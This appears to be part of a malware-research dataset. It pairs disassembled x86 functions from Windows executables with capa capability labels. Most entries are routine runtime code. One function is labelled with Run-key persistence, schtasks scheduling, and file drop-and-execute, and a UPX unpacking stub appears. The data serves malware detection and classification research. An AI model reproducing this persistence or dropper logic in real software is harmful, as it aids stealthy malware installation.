joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40700f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40704e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40704e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40704e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40704e
cmp dword [ecx + 0x74], 0xe
jbe 0x40704e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d9ea
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41b9b4
push 0x41b9ac
push str.FlsAlloc
push 0x1f
call fcn.0040d8c8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40da1e
push dword [ebp + 8]
mov ecx, esi
call dword [0x419130]
call esi
jmp 0x40da24
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40da68
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41b9c4
push 0x41b9bc
push str.FlsGetValue
push 0x21
call fcn.0040d8c8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40da9f
push dword [ebp + 8]
mov ecx, esi
call dword [0x419130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40daa7
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41b9cc
push 0x41b9c4
push str.FlsSetValue
push 0x22
call fcn.0040d8c8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40dae1
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x419130]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40f8ec
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x40f937
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0040fa87
test al, al
jne 0x40f931
sub edx, 2
cmp edx, edi
jne 0x40f917
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x40f959
lea eax, [edi + 2]
cmp edx, eax
je 0x40f959
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0040f838
add esp, 0x10
jmp 0x40fa53
push esi
lea ecx, [ebp - 0x255]
call fcn.0040fa87
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40f99c
push dword [ebp - 0x25c]
jmp 0x40f949
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x40f9d9
cmp word [ebp - 0x226], 0
je 0x40f9fa
cmp word [ebp - 0x226], ax
jne 0x40f9d9
cmp word [ebp - 0x224], 0
je 0x40f9fa
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0040f838
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x40fa46
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x40f9b3
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40fa2e
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x40fa53
push 0x40f668
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00414c40
add esp, 0x10
jmp 0x40fa23
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004067b5
leave
ret

Function at 0x41058f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4105a0
pop esi
ret
push ebx
push edi
push esi
call fcn.00410558
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0040e199
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4105c8
push ebx
push esi
push edi
call fcn.00407940
add esp, 0xc
push 0
call fcn.0040d775
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x410998
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004105dd
Function at 0x418080
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4180ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4180ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x412de0
Capabilities:
Create process on windows
Find taskbar
Persist via run registry key
Schedule task via schtasks
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x412de8
push ecx
push ebx
push esi
push edi
mov eax, 0x412d48
call fcn.00405674
xor eax, eax
push ebp
push 0x413005
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x41217c]
call fcn.00412228
mov ebx, eax
mov edx, 0x80000001
mov eax, ebx
call fcn.004122c8
mov cl, 1
mov edx, 0x41301c
mov eax, ebx
call fcn.0041232c
mov edx, 0x413054
mov eax, ebx
call fcn.00412450
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.004028dc
mov ecx, dword [ebp - 0x14]
mov edx, 0x413054
mov eax, ebx
call fcn.00412470
mov eax, ebx
call fcn.00412298
mov eax, ebx
call fcn.00402f90
call fcn.00412ba4
test al, al
jne 0x412e8d
push 0
push 0x1a3
push 0x111
push 0
push 0x413064
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_PostMessageA
call fcn.00412ba4
test al, al
jne 0x412ecc
jmp 0x412eb6
push 0
push 0x1a3
push 0x111
push 0
push 0x413064
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_PostMessageA
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.004028dc
mov eax, dword [ebp - 0x18]
call fcn.00412c00
test al, al
je 0x412e98
call fcn.00412ba4
test al, al
je 0x412fea
mov dl, 1
mov eax, dword [0x41217c]
call fcn.00412228
mov ebx, eax
mov edx, 0x80000001
mov eax, ebx
call fcn.004122c8
mov cl, 1
mov edx, 0x41301c
mov eax, ebx
call fcn.0041232c
mov edx, 0x413054
mov eax, ebx
call fcn.00412450
mov eax, ebx
call fcn.00412298
mov eax, ebx
call fcn.00402f90
push 0
push 0x41307c
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.004028dc
push dword [ebp - 0x20]
push 0x4130cc
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00403da0
mov eax, dword [ebp - 0x1c]
call fcn.00403ee0
push eax
call sub.kernel32.dll_WinExec
mov esi, 0x4143ac
mov edi, 0x4188d4
mov ecx, 0xc00
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x4130d0
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0
push 0x4188d0
push 0x3000
push 0x4188d4
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, 0x4188cc
mov edx, 0x4130ec
call fcn.00403a98
mov eax, dword [0x4188cc]
mov edx, 0x4130f8
call fcn.00403e2c
jne 0x412fc0
lea eax, [ebp - 0x24]
call fcn.00412c8c
mov eax, dword [0x4188cc]
mov edx, 0x413104
call fcn.00403e2c
jne 0x412fdb
mov eax, 6
call fcn.00412af8
mov eax, dword [0x4188cc]
mov edx, 0x413110
call fcn.00403e2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41300c
lea eax, [ebp - 0x24]
mov edx, 5
call fcn.00403a68
ret
Function at 0x526c00
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf0000]
push edi
jmp 0x526c1a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x526c21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x526c10
mov eax, 1
add ebx, ebx
jne 0x526c33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x526c44
jne 0x526c63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x526c63
dec eax
add ebx, ebx
jne 0x526c50
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x526c28
add ebx, ebx
jne 0x526c5f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x526cb5
xor ecx, ecx
sub eax, 3
jb 0x526c7b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x526cea
sar eax, 1
mov ebp, eax
jmp 0x526c86
add ebx, ebx
jne 0x526c86
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x526c54
inc ecx
add ebx, ebx
jne 0x526c94
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x526c54
add ebx, ebx
jne 0x526ca1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x526c96
jne 0x526cb2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x526c96
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x526cd4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x526cc6
jmp 0x526c16
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x526cd4
add edi, ecx
jmp 0x526c16
pop esi
mov edi, esi
mov ecx, 0x11fd
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x526cf2
cmp byte [edi], 0xb
jne 0x526cf2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x526cf7
lea edi, [esi + 0x123000]
mov eax, dword [edi]
or eax, eax
je 0x526d6f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x14c2f8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x14c424]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x526d24
mov ecx, edi
jns 0x526d53
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x14c428]
or eax, eax
je 0x526d69
mov dword [ebx], eax
add ebx, 4
jmp 0x526d41
call dword [esi + 0x14c438]
mov ebp, dword [esi + 0x14c42c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x526da3
sub esp, 0xffffff80
jmp 0x4127aa
Function at 0x4010e0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 1
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40110a
cmp dword [ebp - 4], 1
jge 0x401135
call fcn.00405850
mov dword [ebp - 8], eax
push str.WAR:_Invalid_Args.
push 0x601138
call fcn.0040c050
add esp, 8
mov dword [ebp - 8], 0
jmp 0x40124f
push str._AutoRun1
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
push eax
call fcn.0048b890
add esp, 8
test eax, eax
jne 0x40116c
mov ecx, dword [ebp + 0xc]
mov dword [ecx], 1
push str.Ready_for_run_as_service...
push str.ParseExecCmdLine
call fcn.0040c050
add esp, 8
jmp 0x40124f
push str.install
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
push eax
call fcn.0048b890
add esp, 8
test eax, eax
jne 0x401190
call fcn.004031e0
mov dword [ebp - 8], eax
jmp 0x40124f
push str.uninstall
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
push edx
call fcn.0048b890
add esp, 8
test eax, eax
jne 0x4011b4
call fcn.00403520
mov dword [ebp - 8], eax
jmp 0x40124f
push str.stop
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push ecx
call fcn.0048b890
add esp, 8
test eax, eax
jne 0x4011d5
call fcn.00404850
mov dword [ebp - 8], eax
jmp 0x40124f
push str.start
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
push eax
call fcn.0048b890
add esp, 8
test eax, eax
jne 0x4011fb
push 0
call fcn.00404c10
add esp, 4
mov dword [ebp - 8], eax
jmp 0x40124f
push 0x6011ec
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
push edx
call fcn.0048b890
add esp, 8
test eax, eax
jne 0x401226
call fcn.00404850
push 1
call fcn.00404c10
add esp, 4
mov dword [ebp - 8], eax
jmp 0x40124f
push str.start_config
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push ecx
call fcn.0048b890
add esp, 8
test eax, eax
jne 0x401247
call fcn.00405850
mov dword [ebp - 8], eax
jmp 0x40124f
call fcn.00405850
mov dword [ebp - 8], eax
cmp dword [ebp - 0xc], 0
je 0x40125f
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x401270
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x615000]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x63a494], 0
jne 0x4012a5
push str.WAR:_Here_is_no_restart_flag_set__out_
push 0x600078
call fcn.0040c050
add esp, 8
xor eax, eax
jmp 0x401360
xor eax, eax
mov word [ebp - 0x418], ax
push 0x40e
push 0
lea ecx, [ebp - 0x416]
push ecx
call fcn.00562540
add esp, 0xc
push 0x208
lea edx, [ebp - 0x418]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x4012f9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERR:_GetModuleFileNameW_failed__err_d
push 0x6000e4
call fcn.0040c050
add esp, 0xc
xor eax, eax
jmp 0x401360
push 0
push 0
push 0x6000fc
lea eax, [ebp - 0x418]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0x20
jg 0x401342
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERR:_run_self_process_fail__err_d__out_
push 0x600170
call fcn.0040c050
add esp, 0xc
xor eax, eax
jmp 0x401360
lea ecx, [ebp - 0x418]
push ecx
push str.TIP:_restart_successed__self_s__out_
push str.TryRestartSelfIfNeed
call fcn.0040c050
add esp, 0xc
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0055abea
mov esp, ebp
pop ebp
ret
Function at 0x401370
Capabilities:
Enumerate processes on remote desktop session host

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
cmp dword [ebp + 0xc], 0
je 0x4013b4
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
add ecx, 2
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
mov ax, word [edx]
mov word [ebp - 0x1e], ax
add dword [ebp - 0x18], 2
cmp word [ebp - 0x1e], 0
jne 0x401392
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x1c]
sar ecx, 1
mov dword [ebp - 0x24], ecx
jne 0x4013cd
push str.ERR:_params_invalid_out_
push 0x60034c
call fcn.0040c050
add esp, 8
xor eax, eax
jmp 0x4014a6
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0xc]
push eax
push 1
push 0
push 0
call sub.WTSAPI32.dll_WTSEnumerateProcessesW
test eax, eax
jne 0x401425
cmp dword [ebp - 0xc], 0
je 0x401401
mov ecx, dword [ebp - 0xc]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, dword [ebp + 8]
push edx
push str.ERR:_WTSEnumerateProcesses_session_d_fail__code_d__out
push str.IsProcessExistInSession
call fcn.0040c050
add esp, 0x10
xor eax, eax
jmp 0x4014a6
mov dword [ebp - 4], 1
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
mov dword [ebp - 0x10], 0
jmp 0x401447
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 8]
jae 0x401494
mov eax, dword [ebp - 0x10]
shl eax, 4
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
je 0x401466
mov ecx, dword [ebp - 0x14]
cmp dword [ecx + 8], 0
jne 0x401468
jmp 0x40143e
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 8]
cmp eax, dword [edx]
jne 0x401492
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x401492
mov ecx, dword [ebp + 0x10]
mov dword [ecx], 1
jmp 0x401494
jmp 0x40143e
cmp dword [ebp - 0xc], 0
je 0x4014a3
mov edx, dword [ebp - 0xc]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x401940
Capabilities:
Create thread
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x586788
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x615000]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x34]
call fcn.00401e20
mov dword [ebp - 4], 0
cmp dword [0x63a45c], 0
je 0x40199b
mov dword [ebp - 0x38], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00401eb0
mov eax, dword [ebp - 0x38]
jmp 0x401ac4
push str.Global_active_session_id_4byte
push 4
push 0
push 4
lea ecx, [ebp - 0x34]
call fcn.00401ee0
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [0x63a454], eax
cmp dword [0x63a454], 0
jne 0x4019fc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x600898
push 0x6008f0
call fcn.0040c050
add esp, 0xc
mov dword [ebp - 0x3c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00401eb0
mov eax, dword [ebp - 0x3c]
jmp 0x401ac4
push 0
push 0
push 0
push 6
mov eax, dword [0x63a454]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x63a458], eax
cmp dword [0x63a458], 0
jne 0x401a52
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x600910
push 0x600970
call fcn.0040c050
add esp, 0xc
mov dword [ebp - 0x40], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00401eb0
mov eax, dword [ebp - 0x40]
jmp 0x401ac4
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0x4014b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x63a45c], eax
cmp dword [0x63a45c], 0
jne 0x401aab
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error:_start_ActiveSessionCapWork_thread_fail__code_d__out_
push str.InitActiveSessionCaputure
call fcn.0040c050
add esp, 0xc
mov dword [ebp - 0x44], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00401eb0
mov eax, dword [ebp - 0x44]
jmp 0x401ac4
mov dword [ebp - 0x48], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00401eb0
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x401ae0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push str.taskkill__F__IM_UserSsUtil.exe
call fcn.0055ac4a
add esp, 4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x6359a8], 0
cmp dword [0x63a45c], 0
je 0x401b5f
push 0xbb8
mov eax, dword [0x63a45c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401b55
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, dword [ebp - 4]
push ecx
push str.WAR:_Wait_ActiveSessionCapWork_fail__ret_d__err_d._n
push str.UnInitActiveSessionCaputure
call fcn.0040c050
add esp, 0x10
push 0
mov edx, dword [0x63a45c]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [0x63a45c], 0
cmp dword [0x63a458], 0
je 0x401b7e
mov eax, dword [0x63a458]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [0x63a458], 0
cmp dword [0x63a454], 0
je 0x401b9e
mov ecx, dword [0x63a454]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x63a454], 0
mov esp, ebp
pop ebp
ret

Function at 0x401f30
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5846b8
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x615000]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x34]
call fcn.00401e20
mov dword [ebp - 4], 0
push str.Globalcdrom_interval_4byte
push 4
push 0
push 4
lea ecx, [ebp - 0x34]
call fcn.00401ee0
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov edx, dword [ebp - 0x44]
cmp dword [edx], 0
jne 0x401fc4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error:_create_file_mapping__code_d__out_
push 0x600c88
call fcn.0040c050
add esp, 0xc
mov dword [ebp - 0x38], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00401eb0
mov eax, dword [ebp - 0x38]
jmp 0x402034
push 0
push 0
push 0
push 6
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edx, dword [ebp - 0x44]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x44]
cmp dword [eax + 4], 0
jne 0x40201b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x600cb0
push str.CCdromInterval::InitCdromInterval
call fcn.0040c050
add esp, 0xc
mov dword [ebp - 0x3c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00401eb0
mov eax, dword [ebp - 0x3c]
jmp 0x402034
mov dword [ebp - 0x40], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00401eb0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x402050
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x40209e
push 0
push 0
push 0
push 6
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 4], 0
jne 0x40209e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error:_mapping_share_mem_fail__code_d__out_
push str.CCdromInterval::SetCdromInterval
call fcn.0040c050
add esp, 0xc
jmp 0x4020af
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov esp, ebp
pop ebp
ret 4